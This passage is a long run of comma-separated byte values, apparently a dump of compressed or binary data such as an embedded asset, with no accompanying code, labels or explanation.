118,212,205,83,211,213,63,217,249,71,248,102,65,225,229,127, 151,108,129,216,78,27,178,91,134,95,135,11,23,89,131,17, 112,67,100,7,172,33,176,6,192,142,186,81,255,36,18,93, 55,187,63,16,194,171,242,37,19,160,154,4,241,58,221,231, 62,152,222,145,74,27,188,1,155,29,176,6,192,142,186,86, 127,201,245,71,178,243,227,248,25,28,72,170,175,27,3,89, 46,78,184,235,177,121,108,123,122,128,245,6,248,236,128,45, 26,90,3,96,199,184,71,255,165,130,95,18,9,36,219,175, 113,254,19,201,210,94,207,7,0,6,121,26,91,104,83,102, 235,232,33,197,8,232,217,129,194,127,97,139,134,214,0,216, 49,190,234,95,200,251,39,145,236,184,74,252,154,90,4,224, 179,219,19,2,229,59,176,62,187,37,179,51,149,85,242,3, 196,24,2,155,29,176,6,192,142,250,80,255,174,43,220,149, 162,45,183,187,67,138,247,75,197,64,129,208,242,3,184,215, 189,63,245,76,122,140,241,7,204,105,66,155,29,176,6,192, 142,26,170,127,62,239,143,100,251,91,18,189,212,165,254,42, 5,60,214,32,57,134,176,209,221,236,110,27,57,145,87,253, 172,209,27,176,69,67,107,0,236,24,47,245,239,88,234,220, 225,206,224,163,254,210,190,94,177,60,139,109,180,49,253,208, 216,94,45,73,168,166,9,109,75,177,53,0,118,212,64,253, 133,39,243,223,212,122,94,114,21,230,148,252,109,225,179,191, 87,35,23,175,184,235,178,247,103,95,74,101,60,254,0,41, 129,129,13,11,172,1,176,163,134,234,159,108,91,144,88,133, 249,222,184,94,175,249,3,17,202,15,139,245,153,251,211,219, 211,35,6,127,192,182,20,91,3,96,71,173,212,191,125,126, 98,149,187,64,248,70,249,132,24,228,163,226,254,124,75,113, 54,100,75,49,20,83,96,195,2,107,0,236,168,80,253,11, 133,191,185,206,29,180,72,141,227,185,253,59,38,57,57,79, 208,134,236,150,225,221,182,165,216,26,0,59,106,172,254,205, 51,91,122,113,161,30,171,115,105,190,120,229,206,27,116,159, 251,64,250,217,84,202,182,20,91,3,96,71,77,212,191,101, 122,203,111,233,82,147,187,206,39,248,226,149,227,36,54,208, 166,177,199,211,3,154,63,96,91,138,173,1,176,35,66,245, 79,76,233,106,254,13,189,77,194,251,51,251,245,184,200,211, 226,33,218,148,217,58,122,48,68,75,113,238,39,219,82,108, 13,128,29,161,213,63,129,228,148,206,166,91,233,221,194,184, 67,243,169,187,26,203,159,21,235,179,91,50,175,216,150,98, 107,0,236,136,84,253,91,219,154,110,161,247,251,226,253,181, 88,125,220,228,7,112,159,123,127,234,153,244,168,109,41,182, 6,192,142,40,212,191,53,249,19,124,52,28,222,191,94,228, 206,16,109,114,55,187,143,216,150,98,107,0,236,168,68,253, 69,161,238,223,218,146,252,33,110,128,18,143,251,227,253,235, 70,238,226,81,218,144,222,226,219,82,28,46,44,176,102,192, 26,128,70,84,255,182,230,228,119,233,230,10,241,254,117,35, 199,78,177,46,253,96,246,249,98,75,177,139,172,109,41,182, 6,192,14,78,253,133,167,235,47,153,248,166,251,217,170,241, 254,245,34,63,66,235,196,253,163,92,75,177,31,93,57,108, 209,208,26,128,70,83,127,7,73,36,145,236,252,10,254,52, 50,188,127,189,200,199,156,7,178,27,221,135,71,142,218,150, 98,107,0,236,48,169,127,2,77,93,255,68,127,165,254,106, 181,120,255,186,145,147,120,146,54,100,31,26,126,213,182,20, 91,3,96,159,131,144,64,63,73,36,208,212,249,63,232,111, 99,195,251,215,141,92,236,161,251,220,7,210,59,82,105,67, 209,208,102,7,172,1,104,48,245,79,32,137,100,231,223,226, 239,75,239,117,92,120,255,122,145,59,39,105,35,109,30,123, 212,182,20,91,3,96,213,63,137,100,215,95,208,151,107,136, 247,175,23,121,70,60,68,155,50,15,133,110,41,134,45,26, 90,3,48,25,119,255,63,161,175,141,3,222,191,126,228,207, 209,6,247,1,219,82,108,13,64,99,170,255,103,241,173,113, 196,251,215,143,252,0,214,185,15,164,158,178,45,197,214,0, 76,94,245,47,29,243,85,112,254,63,73,223,133,24,127,188, 127,189,200,197,16,109,118,55,141,109,203,28,151,90,138,201, 30,109,106,13,192,36,84,255,142,155,196,15,188,207,101,188, 241,254,117,35,119,241,24,109,72,63,104,89,138,173,1,152, 196,234,223,121,61,126,76,78,29,226,253,235,70,46,118,186, 235,179,15,100,95,240,28,109,106,91,138,173,1,152,36,234, 255,49,250,153,72,152,118,200,186,192,251,215,137,92,28,197, 58,218,60,106,89,138,173,1,152,36,234,159,64,83,215,7, 233,150,220,33,159,117,143,247,175,23,249,168,115,63,109,206, 108,45,131,165,216,102,7,172,1,168,19,245,87,142,248,110, 191,198,249,15,52,77,36,188,127,221,200,201,217,78,27,178, 15,89,150,98,107,0,38,198,154,51,234,223,241,62,113,43, 154,229,120,119,130,224,253,235,70,46,10,44,197,182,165,216, 26,128,9,162,254,57,200,79,178,227,61,226,87,212,50,177, 241,254,245,34,23,39,104,3,109,182,44,197,214,0,76,4, 245,207,165,254,222,69,191,22,173,240,217,237,38,16,222,191, 94,228,105,60,68,27,51,15,91,150,98,107,0,234,92,253, 219,222,158,252,47,183,109,146,225,253,235,71,254,44,214,103, 31,204,236,180,45,197,214,0,212,165,250,119,93,129,219,168, 93,254,197,73,131,247,175,31,249,1,220,231,62,144,122,42, 61,102,91,138,173,1,168,167,221,255,173,137,219,208,201,185, 178,4,129,165,248,26,230,99,53,214,224,249,73,205,7,80, 43,185,24,162,77,238,38,119,155,101,41,182,6,96,60,214, 185,68,245,153,87,255,246,75,19,43,169,171,240,62,201,25, 237,185,248,159,248,12,156,252,103,111,96,53,238,194,99,249, 55,113,114,242,1,212,76,238,138,109,180,49,128,165,184,97, 90,138,173,1,24,63,245,127,75,226,118,119,42,135,151,111, 194,23,240,223,209,174,93,230,48,238,198,29,216,138,244,100, 230,3,168,153,92,188,226,174,203,62,152,125,161,200,82,156, 245,0,140,26,166,165,216,26,128,241,82,255,139,156,219,49, 157,251,245,247,226,59,56,223,231,114,39,113,15,214,98,19, 134,208,208,124,1,81,201,143,136,117,84,29,75,241,132,54, 3,214,0,140,139,250,119,92,232,244,210,12,29,15,63,27, 223,192,77,161,46,59,138,245,184,19,27,112,180,177,249,2, 162,146,143,138,7,178,155,202,98,41,158,36,217,1,107,0, 198,67,253,151,58,125,52,83,199,195,223,140,111,97,70,89, 151,207,224,1,172,197,61,56,136,70,230,11,136,76,78,226, 201,236,122,218,218,72,44,197,214,0,212,92,253,59,23,163, 15,179,85,119,116,46,190,143,143,85,56,13,225,81,172,197, 221,120,173,177,249,2,34,147,139,55,104,93,163,176,20,91, 3,80,27,245,47,1,126,23,163,151,230,168,120,247,27,240, 175,101,238,253,220,120,22,119,99,53,94,104,112,190,128,168, 228,226,164,187,1,155,199,30,155,220,45,197,214,0,212,86, 253,23,81,159,152,43,255,226,20,124,27,127,16,225,196,175, 99,53,238,194,227,158,77,200,242,9,84,33,79,211,86,108, 204,108,157,172,44,197,214,0,212,84,253,209,135,185,50,184, 245,34,252,135,111,206,191,210,113,8,107,177,6,91,144,101, 93,94,203,39,80,182,252,89,108,200,62,56,249,88,138,173, 1,168,141,250,39,208,212,122,94,178,23,243,228,36,212,103, 241,29,180,196,120,35,167,112,23,214,98,35,70,97,249,4, 34,145,31,192,125,238,253,169,103,2,88,138,39,80,209,208, 26,128,218,168,127,178,245,188,100,47,78,247,190,90,205,248, 54,254,168,38,55,52,130,117,88,139,117,56,161,196,187,150, 79,160,50,57,134,176,201,221,236,110,27,57,62,241,91,138, 173,1,168,141,250,159,155,236,163,211,189,217,230,249,248,21, 46,175,233,141,101,112,63,214,226,30,28,130,229,19,136,68, 238,226,81,177,49,187,101,232,77,159,150,226,186,15,11,172, 1,168,133,250,159,147,232,19,243,189,47,210,229,248,45,230, 140,203,13,18,30,195,157,184,27,187,153,136,215,188,27,90, 185,89,238,236,194,186,244,131,217,231,61,44,197,122,96,80, 183,69,67,107,0,226,87,255,133,201,62,58,195,139,87,191, 30,63,67,235,56,223,234,14,172,197,157,120,9,150,79,32, 26,185,115,204,93,239,222,159,126,60,61,84,70,75,113,29, 20,13,173,1,168,129,250,227,12,239,175,253,45,254,87,25, 203,254,69,252,0,87,160,27,203,49,47,134,91,126,13,107, 176,22,143,107,94,130,229,19,168,80,158,18,91,104,99,250, 225,209,254,137,82,52,180,6,32,86,245,111,91,224,244,137, 51,189,47,205,191,226,143,203,186,108,39,6,243,151,127,55, 150,99,57,206,138,225,214,15,97,13,238,196,195,200,88,62, 129,168,228,207,96,125,118,75,102,87,42,235,211,66,84,23, 217,1,107,0,98,85,255,100,31,157,89,120,138,2,77,248, 57,110,44,243,194,95,196,55,224,122,254,255,149,232,70,55, 206,141,225,43,28,207,163,12,71,44,159,64,84,242,253,88, 231,222,159,126,42,149,170,152,135,40,118,127,192,26,128,248, 212,255,236,100,159,123,86,41,110,108,195,111,112,117,5,23, 63,136,62,244,225,65,169,165,231,50,116,163,39,150,6,162, 97,172,199,26,220,135,83,158,23,219,242,9,84,35,119,6, 105,179,187,217,125,164,62,121,136,172,1,136,77,253,157,62, 113,150,215,149,95,133,43,171,152,228,8,86,161,15,155,144, 246,124,118,1,86,160,27,203,98,248,74,105,60,136,59,113, 15,250,125,162,96,203,39,80,150,220,197,163,180,33,128,135, 40,56,63,16,185,17,176,6,32,182,221,159,206,42,197,137, 83,177,58,146,170,255,9,220,137,94,108,192,168,231,179,69, 184,9,221,184,44,134,175,230,226,81,220,137,123,176,219,242, 5,68,38,119,118,98,125,90,62,218,212,156,38,116,125,139, 134,214,0,212,191,250,231,70,23,238,196,91,35,156,116,16, 107,208,135,123,49,236,249,108,1,122,208,131,43,99,121,160, 207,96,45,214,224,69,203,23,16,153,92,28,197,250,204,253, 233,237,198,162,33,31,26,168,33,129,53,0,245,171,254,165, 95,234,192,218,72,213,191,20,173,223,131,62,220,141,1,207, 103,243,209,141,30,188,171,72,38,26,229,120,21,107,113,39, 158,240,117,119,45,159,64,89,114,190,104,152,85,76,129,203, 96,11,34,51,1,214,0,196,150,250,203,61,163,86,172,198, 59,99,188,137,49,220,135,94,220,133,227,158,207,230,98,57, 186,241,94,36,99,152,239,0,214,226,78,108,205,135,168,150, 79,32,18,249,51,88,159,221,50,188,211,163,254,89,35,39, 145,220,58,100,13,64,157,169,255,2,167,215,155,250,75,226, 191,240,161,144,23,220,131,63,193,22,44,195,10,220,136,69, 101,39,237,54,162,23,107,112,216,243,217,76,220,128,30,92, 93,56,113,52,210,113,12,247,224,46,108,42,162,12,45,159, 64,4,242,125,88,231,222,159,126,58,149,59,188,36,43,253, 219,107,6,34,53,1,214,0,68,170,254,201,62,58,211,67, 60,141,91,208,29,250,146,215,96,99,241,231,75,208,141,229, 184,160,204,155,202,226,126,244,97,53,14,120,62,155,138,235, 208,131,15,98,74,12,139,48,148,71,25,158,50,198,186,150, 79,160,92,185,24,164,77,238,38,119,59,57,180,127,44,139, 44,50,200,42,102,64,14,5,172,1,168,71,245,207,61,232, 111,226,47,203,184,232,20,140,41,159,44,198,205,184,17,151, 148,121,115,46,182,162,23,171,240,38,188,121,136,107,209,141, 143,48,103,13,84,63,82,121,148,97,191,229,11,136,78,190, 79,164,220,227,226,171,3,59,144,65,70,50,3,37,35,16, 137,15,96,13,64,68,234,223,186,176,169,55,215,245,87,120, 136,127,129,111,150,117,217,15,96,3,251,249,185,184,9,203, 113,69,217,183,249,40,122,113,7,94,243,124,210,138,143,160, 27,215,162,43,134,69,113,177,13,107,112,23,246,192,242,5, 68,38,31,166,27,134,94,71,6,105,205,8,68,230,3,88, 3,16,145,250,23,16,127,133,71,123,45,126,93,102,46,126, 15,254,16,155,141,210,179,208,141,110,188,179,236,7,246,36, 250,112,7,94,242,124,210,140,15,162,7,31,143,128,132,148, 27,79,99,45,214,224,37,203,23,16,137,220,185,247,212,223, 33,141,116,222,8,148,76,0,21,189,0,107,0,234,64,253, 207,73,244,138,51,188,15,242,82,220,91,17,224,247,85,220, 142,62,108,55,202,231,161,7,221,120,55,18,101,94,247,57, 244,161,23,207,193,155,158,124,63,186,113,125,76,172,4,187, 176,22,107,240,4,44,95,64,149,114,74,125,120,108,63,210, 72,21,141,64,201,4,68,226,3,88,3,80,189,250,159,155, 236,165,249,94,188,248,108,60,136,249,85,76,179,7,189,232, 197,54,227,211,157,141,229,232,198,239,161,169,204,235,238,196, 237,232,195,147,158,79,18,120,15,186,113,99,129,171,44,226, 177,31,107,177,6,91,225,90,190,128,138,229,244,149,193,213, 72,33,133,84,222,19,200,32,83,60,199,208,26,128,113,83, 255,68,129,235,215,203,245,151,27,77,184,11,239,136,96,186, 3,232,67,47,30,98,120,125,115,99,58,110,64,15,222,95, 54,169,232,235,232,69,111,254,164,225,194,23,123,39,122,98, 130,26,3,71,243,37,195,49,195,30,168,15,43,47,201,197, 186,83,95,66,10,41,140,21,253,128,140,148,9,176,6,96, 220,212,63,137,68,235,121,137,94,113,186,236,202,253,0,127, 24,225,180,135,113,7,250,112,191,4,2,242,142,46,124,28, 61,248,80,217,1,199,62,244,161,55,223,208,83,24,87,162, 27,203,113,94,44,203,55,152,71,25,14,42,17,175,229,19, 240,151,227,240,192,114,164,48,134,177,162,23,144,246,212,3, 172,1,24,71,245,207,237,254,243,114,143,171,176,148,159,197, 15,99,152,254,56,86,163,23,27,181,66,97,97,180,227,99, 232,198,71,209,81,230,117,15,225,14,244,225,1,100,60,159, 93,130,110,244,96,73,44,203,152,194,102,172,197,61,56,162, 237,121,150,79,192,36,79,93,55,118,20,99,146,9,200,72, 121,0,107,0,198,71,253,59,23,161,151,78,147,241,224,203, 176,41,212,94,92,89,215,223,41,172,69,47,238,195,136,65, 62,5,31,70,15,174,197,212,178,157,244,213,232,195,70,164, 60,159,93,128,30,116,227,226,88,150,211,197,195,88,139,187, 240,166,229,11,8,33,119,63,55,252,10,70,49,234,49,1, 17,6,1,214,0,84,170,254,231,83,175,122,200,87,59,30, 12,169,206,213,116,253,13,225,110,244,225,158,162,51,173,142, 102,92,131,30,92,135,153,101,126,205,147,88,131,94,172,147, 160,198,231,161,7,221,177,209,151,63,133,181,88,131,87,12, 81,176,229,19,200,201,179,255,115,248,97,140,98,172,104,2, 10,62,128,53,0,227,168,254,139,209,139,57,42,222,251,23, 232,9,121,209,234,187,254,70,113,47,250,112,87,241,176,15, 117,36,241,62,116,227,6,204,45,59,86,191,11,125,248,29, 134,60,159,157,141,110,244,224,237,49,189,44,175,96,13,238, 194,147,150,47,192,32,199,247,7,239,193,40,70,242,38,64, 246,1,172,1,136,93,253,115,6,192,160,254,222,241,73,252, 52,244,101,163,234,250,75,97,3,122,177,6,71,13,114,7, 87,161,27,203,203,46,74,142,224,119,232,195,93,82,151,255, 233,232,70,55,174,138,5,106,12,236,195,90,172,193,195,200, 90,190,0,85,126,235,192,111,49,130,81,79,24,32,7,1, 214,0,212,86,253,59,150,136,94,204,86,221,181,5,120,24, 157,161,47,28,109,215,95,6,155,209,135,213,56,100,252,26, 111,71,15,150,99,65,153,95,127,12,235,209,139,53,18,212, 120,14,110,68,55,222,23,11,212,24,56,146,47,25,166,12, 238,112,35,242,9,184,107,135,126,138,81,143,9,40,21,3, 173,1,168,145,250,231,254,201,169,255,5,226,118,154,165,226, 189,29,252,174,236,218,127,212,93,127,46,182,160,15,171,176, 215,248,27,151,163,27,221,101,67,141,51,216,136,62,172,150, 160,198,51,112,61,122,112,77,44,80,99,96,16,235,176,6, 235,48,0,203,23,32,128,7,6,190,147,55,0,35,249,106, 64,161,20,152,205,115,7,90,3,80,51,245,191,80,220,174, 102,215,8,2,255,29,95,174,112,154,168,187,254,8,219,208, 139,59,240,186,241,55,46,70,55,122,42,128,26,63,136,62, 172,194,126,207,103,93,184,14,221,21,244,32,132,245,63,10, 37,195,6,231,11,120,114,240,159,243,234,95,8,2,74,165, 64,107,0,106,169,254,237,23,37,86,210,12,29,188,185,4, 15,85,185,23,70,223,245,183,29,125,184,131,205,176,23,146, 142,55,161,187,108,168,49,225,97,244,226,14,236,241,124,150, 235,65,248,88,44,80,99,32,139,71,176,6,119,121,252,154, 134,227,11,120,121,224,31,48,138,145,98,16,80,74,3,230, 154,129,172,1,136,92,249,193,170,255,197,137,149,52,93,199, 115,39,176,33,162,66,89,244,93,127,59,208,135,94,188,96, 148,159,131,30,116,227,138,178,95,131,199,208,135,62,188,234, 249,164,210,30,132,176,227,73,172,197,26,236,108,68,190,128, 189,3,127,195,26,128,140,53,0,181,84,255,183,36,86,210, 52,57,94,203,253,247,243,248,90,164,55,16,125,215,223,203, 184,29,125,120,218,40,63,19,221,232,193,59,202,206,239,63, 141,62,244,225,69,207,39,185,30,132,235,99,129,26,191,140, 127,204,215,78,26,139,47,64,28,61,245,185,124,8,48,194, 212,1,170,44,4,90,3,16,78,253,47,77,220,230,78,229, 58,183,23,98,91,44,49,112,244,93,127,175,161,23,125,120, 220,248,190,204,195,114,116,227,61,101,67,141,95,64,47,250, 176,195,243,73,174,7,225,198,8,161,198,71,241,47,248,247, 60,170,16,104,44,190,0,49,116,234,15,242,202,63,82,244, 0,82,214,0,212,80,253,219,222,154,248,109,137,70,71,126, 108,125,248,64,140,55,20,125,215,223,155,232,67,47,30,49, 122,142,179,112,35,186,113,117,217,80,227,93,232,85,106,26, 14,254,33,18,223,200,197,207,240,85,79,71,66,195,241,5, 100,6,62,81,220,255,71,60,221,128,214,0,196,164,254,78, 209,0,228,212,255,242,228,111,221,78,30,175,125,61,126,85, 131,27,139,190,235,143,59,111,80,78,58,94,135,30,124,160, 108,168,241,27,232,243,212,52,58,164,51,11,42,27,207,224, 243,120,186,193,249,2,70,110,202,142,72,117,0,111,39,128, 53,0,177,169,127,18,9,36,59,175,20,255,69,29,92,158, 22,104,199,246,208,61,118,95,196,15,112,5,186,177,60,7, 31,172,96,68,223,245,199,157,55,232,29,157,248,56,186,241, 97,180,149,121,167,251,176,10,189,120,2,127,83,165,7,48, 136,175,225,199,140,175,210,104,124,1,195,55,103,135,60,105, 192,49,79,18,48,107,13,64,188,234,255,118,252,38,87,223, 226,114,180,255,140,255,22,122,130,206,188,27,47,240,110,44, 175,130,124,35,250,174,191,227,88,131,94,172,55,38,29,219, 240,81,116,227,99,101,244,57,70,51,182,224,207,241,166,229, 11,128,192,240,39,179,131,74,8,144,178,6,32,78,245,207, 147,125,117,190,83,252,154,218,114,143,67,239,217,90,136,199, 203,168,254,127,17,223,208,200,55,186,113,110,197,113,113,212, 93,127,3,88,171,157,55,40,39,29,115,84,162,211,106,242, 64,70,240,191,241,111,210,158,216,200,124,1,195,159,202,14, 40,33,64,202,83,6,180,6,32,38,245,127,151,248,149,219, 102,198,107,255,26,31,47,107,26,46,238,190,12,221,232,193, 249,21,222,120,244,93,127,220,121,131,222,209,132,107,208,141, 235,49,43,214,7,242,4,254,12,187,60,138,209,232,124,1, 195,159,206,158,210,66,128,116,52,112,32,107,0,12,234,223, 113,21,126,41,90,205,170,119,21,238,169,104,58,46,238,190, 0,43,208,141,101,21,127,133,168,187,254,114,231,13,174,53, 38,29,19,248,61,116,227,70,156,22,195,227,32,252,16,95, 70,218,242,1,120,228,195,159,201,158,180,6,160,182,234,255, 94,113,43,166,248,225,181,183,224,45,85,76,123,2,119,162, 23,27,36,242,141,69,184,9,221,184,172,226,107,70,221,245, 151,59,111,240,78,141,190,171,148,116,124,23,122,176,28,103, 68,248,56,142,226,47,112,175,229,3,80,228,195,191,159,61, 137,17,107,0,106,167,254,239,19,255,137,22,63,188,118,15, 110,137,96,250,65,172,209,226,238,5,232,65,15,174,172,248, 193,68,221,245,151,59,111,112,21,14,26,151,240,74,244,160, 27,11,35,88,143,109,248,67,236,179,124,0,154,124,244,179, 233,19,158,86,32,107,0,34,85,127,145,231,251,41,170,127, 251,251,157,95,120,11,224,122,174,54,129,237,21,167,239,194, 197,221,243,209,141,30,188,171,98,242,141,168,187,254,92,108, 69,31,250,124,146,142,87,227,23,85,210,138,255,2,127,135, 84,3,226,253,131,229,99,178,1,72,121,0,193,214,0,68, 172,254,77,237,215,56,183,80,179,63,94,251,143,240,253,200, 111,39,23,119,223,37,145,111,204,197,114,116,227,189,21,147, 111,68,221,245,71,120,12,189,232,195,110,86,122,13,214,87, 252,237,211,248,127,60,62,85,131,225,253,3,229,146,7,80, 96,4,136,136,18,68,88,245,247,170,127,215,7,220,91,68, 147,201,66,231,126,154,130,29,21,55,243,132,139,187,215,72, 228,27,51,113,3,122,112,117,197,128,227,232,187,254,158,68, 31,250,240,178,242,105,139,148,209,40,47,49,250,41,108,67, 195,226,253,3,229,121,15,64,102,4,176,6,32,98,245,79, 34,217,245,33,250,57,154,130,240,218,159,195,255,23,243,237, 229,226,238,213,56,224,249,108,42,174,67,15,62,136,41,21, 43,89,212,93,127,234,121,131,239,55,240,28,6,141,157,232, 145,124,138,134,195,251,7,202,71,173,1,168,133,250,183,127, 212,249,25,146,65,120,237,36,158,11,117,146,94,101,204,255, 106,220,221,139,85,120,211,243,89,7,174,69,55,62,82,49, 249,70,244,93,127,175,160,23,119,224,57,92,133,127,175,40, 7,240,8,62,137,163,147,27,207,95,181,60,95,5,176,6, 32,78,245,239,188,22,63,41,4,219,126,120,237,63,198,191, 134,154,166,26,230,127,121,60,138,94,220,129,215,60,159,180, 226,35,232,198,181,37,128,98,153,163,126,186,254,86,225,115, 24,195,228,198,243,87,47,183,6,32,126,245,255,56,126,66, 137,96,188,118,2,207,132,220,231,170,103,254,215,227,238,59, 240,146,231,147,230,188,154,86,74,190,49,254,93,127,255,129, 47,120,222,222,201,138,231,175,94,62,252,153,236,41,107,0, 226,84,255,235,233,223,68,2,62,214,184,240,217,39,240,179, 144,83,69,197,252,239,31,119,3,73,188,31,221,184,190,98, 242,141,241,235,250,251,63,248,34,26,2,207,95,181,220,26, 128,88,213,191,227,70,241,35,114,194,225,181,31,9,221,176, 27,45,243,191,154,54,187,29,125,120,82,82,211,247,160,27, 55,134,202,78,112,163,246,93,127,95,195,55,208,40,120,254, 170,249,0,172,1,136,81,253,151,139,31,170,253,54,166,46, 237,247,225,206,178,166,140,154,249,95,30,175,163,23,189,120, 204,243,252,5,222,137,158,42,160,198,181,235,250,251,95,248, 174,143,180,209,240,254,65,242,225,79,43,104,64,107,0,34, 83,255,30,252,64,56,64,56,188,246,42,188,191,130,169,163, 102,254,151,199,62,244,161,23,91,53,168,241,114,156,87,225, 82,197,223,245,247,85,124,171,161,240,252,213,202,173,1,136, 75,253,111,18,223,71,94,253,131,241,218,75,241,88,21,183, 16,61,243,191,119,28,194,29,232,195,3,200,120,62,187,4, 221,232,193,146,10,239,55,190,174,191,175,227,235,236,250,54, 46,222,63,4,31,192,160,53,0,145,171,127,215,10,250,62, 137,240,120,237,239,226,79,171,190,149,232,153,255,189,227,40, 86,163,15,27,165,147,245,46,64,15,186,113,113,197,119,28, 117,215,223,247,240,101,52,26,158,191,106,62,128,146,1,176, 173,192,145,169,255,205,238,191,10,225,23,133,201,150,184,19, 47,151,193,196,239,63,162,103,254,247,142,147,88,131,94,172, 147,84,244,60,244,160,187,138,227,75,162,234,250,251,37,254, 202,176,190,65,235,223,200,242,225,79,100,135,53,44,128,5, 3,85,165,254,159,160,239,65,148,131,215,142,190,1,56,122, 230,127,239,24,196,93,232,195,239,48,228,249,236,108,116,163, 7,111,175,248,161,87,219,245,119,55,62,5,2,44,222,191, 92,62,128,79,102,135,172,1,136,82,253,63,69,223,201,169, 191,158,123,53,117,103,61,142,197,177,220,98,244,204,255,222, 49,130,223,161,15,119,121,88,245,129,211,209,141,110,92,85, 49,212,184,210,177,21,55,96,172,33,241,252,213,202,135,111, 206,142,88,3,16,177,250,243,238,150,9,156,113,101,133,46, 111,216,17,61,243,191,119,140,97,61,122,177,70,130,26,207, 193,141,232,198,251,42,134,26,151,59,118,225,253,56,222,160, 120,254,106,229,35,114,8,48,106,9,65,170,84,255,92,234, 175,28,188,246,15,241,217,26,220,114,244,204,255,222,145,193, 70,244,97,181,4,53,158,129,235,209,131,107,170,60,219,56, 120,28,195,213,30,52,131,197,251,151,39,31,94,145,29,181, 140,64,17,169,191,251,29,53,245,23,140,199,238,192,206,200, 18,128,97,20,53,106,230,127,239,200,226,65,244,97,21,246, 123,62,235,194,117,232,174,184,246,16,60,210,184,14,91,97, 241,254,149,202,71,172,1,136,62,246,47,7,143,253,251,248, 81,168,105,115,167,255,172,64,55,102,87,253,21,162,103,254, 151,191,227,195,232,197,29,216,227,249,44,87,123,248,88,197, 80,99,243,248,43,252,210,119,125,131,214,191,209,229,3,43, 96,13,64,245,234,223,254,41,71,74,253,133,199,99,223,141, 171,66,77,92,56,253,39,129,247,97,5,150,87,152,184,147, 95,134,168,153,255,229,241,24,250,208,135,87,61,159,84,87, 123,224,198,45,248,130,197,251,87,37,47,26,0,203,10,92, 197,238,255,73,250,110,225,219,150,135,199,62,29,47,134,92, 38,249,244,159,36,174,198,205,184,161,98,184,174,119,68,205, 252,47,143,167,209,135,62,188,232,249,36,87,123,184,62,130, 123,127,28,31,70,218,226,253,171,145,211,192,205,214,0,84, 171,254,159,160,239,145,168,12,143,253,5,124,37,244,244,7, 209,139,149,82,103,126,19,62,128,21,184,62,18,114,141,168, 153,255,229,241,2,122,209,135,29,158,79,114,181,135,27,43, 134,26,3,135,241,238,34,177,153,197,251,87,40,119,139,199, 131,91,3,80,161,250,75,93,127,229,226,177,31,198,69,101, 222,198,126,220,142,149,120,196,243,100,154,241,33,172,192,117, 21,115,248,120,71,212,204,255,242,216,133,94,5,193,232,224, 31,42,60,229,215,197,117,120,192,226,249,171,149,103,7,62, 105,13,64,21,234,223,113,147,248,65,110,247,175,4,143,189, 8,79,84,120,59,123,177,18,43,37,184,110,11,62,140,155, 113,109,36,231,236,70,205,252,47,143,55,208,231,65,48,118, 24,89,131,252,199,183,240,85,88,60,127,213,242,204,224,167, 138,72,0,107,0,2,212,95,62,229,39,137,100,71,143,248, 65,88,188,63,39,255,59,124,169,170,219,218,131,149,184,77, 218,81,167,224,163,88,129,107,35,201,182,71,205,252,47,143, 125,88,133,94,60,129,191,169,200,3,216,134,15,27,238,203, 226,253,203,146,103,6,172,1,168,88,253,111,196,143,194,227, 253,57,121,117,103,0,22,198,110,172,196,74,137,195,167,13, 31,195,10,124,180,12,26,110,191,204,67,212,204,255,213,143, 227,120,23,222,180,120,254,40,228,233,129,79,91,3,80,145, 250,119,94,143,31,135,199,251,115,242,179,241,108,132,183,249, 42,110,195,74,60,227,249,164,29,31,199,10,124,164,98,182, 127,239,136,158,249,191,154,241,71,232,11,177,190,86,30,66, 110,13,64,5,234,159,64,83,231,181,248,41,37,170,195,99, 255,53,254,37,242,219,125,5,183,97,165,68,236,217,129,235, 112,51,62,20,201,14,29,61,243,127,37,99,21,254,32,212, 250,90,121,8,185,53,0,161,212,63,167,252,197,35,62,59, 63,66,63,23,73,191,40,43,12,30,251,30,188,59,166,219, 126,9,183,225,54,169,246,222,133,235,177,2,31,140,164,47, 127,124,153,255,251,113,133,1,248,83,238,250,91,57,128,244, 192,167,242,61,128,214,0,176,223,128,81,255,174,15,208,47, 114,135,124,85,131,199,238,194,235,49,163,229,158,199,109,88, 41,241,237,76,195,13,88,129,107,42,76,219,201,99,188,152, 255,87,224,222,80,235,107,229,161,228,153,98,25,176,0,7, 78,33,133,140,53,0,186,250,59,72,34,129,100,199,213,226, 63,209,92,61,30,123,57,254,179,38,95,226,25,172,196,237, 216,41,165,237,150,99,5,174,142,196,252,212,154,249,255,118, 252,73,200,245,181,242,80,114,221,0,20,40,193,220,70,55, 0,133,202,191,83,220,255,147,72,118,188,71,252,202,27,78, 87,142,199,254,9,62,85,195,47,243,20,110,195,237,210,17, 96,51,177,28,55,227,247,42,172,229,43,153,164,26,49,255, 31,195,229,202,28,22,207,95,165,60,59,248,9,38,7,144, 227,4,164,70,54,0,37,245,23,72,20,212,191,243,157,248, 13,181,70,131,199,126,53,2,84,95,185,99,59,86,226,118, 9,252,51,27,221,88,129,247,70,194,224,19,63,243,255,95, 225,151,22,207,31,173,220,245,160,1,85,3,224,130,26,213, 0,176,234,223,117,5,221,166,118,216,84,138,199,190,16,143, 140,219,151,123,20,43,113,187,116,46,240,92,244,96,5,222, 29,137,25,136,143,249,127,11,62,106,241,252,81,203,105,240, 38,143,7,48,166,36,1,27,212,0,120,213,191,4,248,189, 36,113,59,117,69,133,199,254,107,134,191,190,150,131,240,8, 86,162,23,251,60,159,205,195,77,88,81,241,145,98,234,245, 163,102,254,207,224,29,120,217,226,249,163,231,3,232,150,60, 128,20,198,144,105,108,3,160,171,127,2,77,29,23,56,119, 208,244,232,240,216,183,227,67,117,240,85,9,91,113,27,250, 138,152,58,0,152,143,155,112,51,222,22,209,195,139,142,249, 255,71,248,71,139,231,143,92,142,159,14,174,99,60,128,82, 21,0,141,102,0,74,160,31,111,221,255,124,172,42,132,236, 81,224,177,147,216,83,67,26,176,96,167,125,11,86,162,79, 162,9,59,11,55,97,5,174,140,104,134,234,153,255,15,227, 210,60,251,176,197,243,71,39,111,218,113,242,155,217,17,197, 3,104,104,3,192,170,127,235,57,201,85,52,47,74,60,246, 21,216,84,119,95,221,197,253,88,137,59,36,90,207,5,88, 129,21,120,107,68,51,84,195,252,255,151,248,149,197,243,71, 44,111,122,110,238,217,47,125,14,163,158,70,160,156,7,144, 241,148,1,27,202,0,200,234,159,79,253,181,207,119,86,227, 108,248,88,211,242,241,216,159,175,16,3,31,255,200,98,19, 86,98,149,196,29,124,14,110,198,138,138,25,129,162,24,59, 138,61,147,22,207,31,149,220,217,53,119,129,24,120,249,47, 139,234,95,96,4,44,120,0,17,24,0,103,226,171,127,199, 220,196,74,58,27,249,108,72,49,114,202,255,127,81,204,145, 148,39,127,71,221,46,66,2,31,192,255,197,65,220,139,63, 